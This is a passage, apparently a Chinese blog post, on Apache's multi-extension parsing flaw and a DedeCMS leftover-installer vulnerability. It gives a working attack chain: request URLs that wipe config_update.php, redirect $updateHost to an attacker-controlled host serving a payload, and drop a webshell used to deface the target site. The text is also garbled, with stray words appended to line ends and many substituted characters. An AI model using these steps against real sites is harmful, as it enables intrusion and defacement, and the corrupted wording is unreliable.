解释下Apache解析文件的流程:php
当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个Apache认识的扩展名。若是全部的扩展名Apache都不认识,那么变会按照httpd.conf配置中所指定的方式展现这个问题,通常默认状况下是“text/plain”这种方式。web
那么这样的话,像1.php.bak这样的文件名就会被当作php文件所解析。这也就是传说中的Apache解析漏洞。sql
利用条件:首先,是目标站安装完cms后并无删除install文件夹,漏洞文件为\install\index.php.bak 。shell
目标站点的Apache存在文件解析漏洞。即index.php.bak文件会被当作PHP脚本解析,代码以下:服务器
else if($step==11) { require_once('../data/admin/config_update.php'); $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w'); if(fwrite($fp,$sql_content)) echo ' <font color="green">[√]</font> 存在(您能够选择安装进行体验)'; else echo ' <font color="red">[×]</font> 远程获取失败'; unset($sql_content); fclose($fp); exit(); }
原理:因为远程要包含文件的服务器地址是经过 $updateHost 控制的,那咱们首先利用代码来改写../data/admin/config_update.php这个文件,使咱们能够自定义 $updateHost的值,那样就能够引用任何咱们想要引用的文件啦!网站
黑挂网站:ui
第一步:随便找一个网站 新建个http://xxx.xxx.xxx.xxx/dedecms/demodata.a.txturl
http://xxx.xxx.xxx.xxx/dedecms/demodata.a.txt
第二步:检测远程更新是否有用,摧毁config_update.php的内容spa
http://目标站点/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
第三步:设置$updateHost的值,注入执行脚本等blog
http://目标站点/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=lx.php&updateHost=http://存放demodata.a.txt脚本的域名/
第四步:利用webshell,挂黑目标站点
shell地址:http://目标站点//install/lx.php